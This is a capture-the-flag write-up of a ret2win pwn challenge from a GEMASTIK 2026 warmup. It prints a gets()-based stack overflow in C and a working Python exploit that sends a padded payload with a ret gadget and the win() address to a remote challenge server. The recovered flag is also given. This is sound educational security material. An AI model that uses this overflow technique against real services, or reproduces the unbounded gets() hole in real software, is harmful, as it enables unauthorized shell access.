asepharyana
7a6e717c28
- Deleted all previous dummy docs (defcon-quals-2024, infra/cloudflare-525, debugging/websocket-timeout, template, docs/*, notes/*, research/*) - Added 14 Gemastik warmup writeups covering encoding, stego, web, pwn, crypto - ch13: RSA small factors; ch14: RSA special integers via paper-search (GCD with paper appendix primes) - All flags recovered and documented with solution methods
56 lines
1.2 KiB
Markdown
56 lines
1.2 KiB
Markdown
---
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title: "Call Me — ret2win"
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event: "GEMASTIK 2026 Warmup"
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challenge: "Call Me"
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category: "pwn"
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points: 500
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difficulty: "easy"
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flag: "GEMASTIK19{r3t2w1n_l0mpat_k3_win}"
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---
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# Call Me (500 pts) — Pwn / ret2win
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**Server:** `nc 15.232.89.109 9002`
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**Source (`chall.c`):**
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```c
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void win() { system("/bin/sh"); } // flag printed inside
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char buf[32];
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gets(buf); // <-- overflow
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```
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## Eksploitasi
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1. Compile lokal untuk dapatkan alamat `win()`:
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```bash
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gcc -fno-stack-protector -no-pie -o ch10 chall.c
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nm ch10 | grep win
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# 00000000004011f6 T win
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```
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2. Overflow `buf[32]` lalu timpa return address dengan alamat `win()` (0x4011f6).
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Sisipkan satu `ret` gadget (0x401016) untuk realign RSP agar `movaps` di `win`/`printf` tidak segfault:
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```python
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import socket, time, struct
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s = socket.socket()
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s.connect(("15.232.89.109", 9002))
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time.sleep(0.5)
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RET_GADGET = 0x401016 # alignment
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WIN_ADDR = 0x4011f6
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payload = b"A" * 32 + b"B" * 8 + struct.pack("<Q", RET_GADGET) + struct.pack("<Q", WIN_ADDR)
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s.sendall(payload + b"\n")
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time.sleep(1.5)
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print(s.recv(4096).decode())
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# -> GEMASTIK19{r3t2w1n_l0mpat_k3_win}
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```
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## Flag
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`GEMASTIK19{r3t2w1n_l0mpat_k3_win}`
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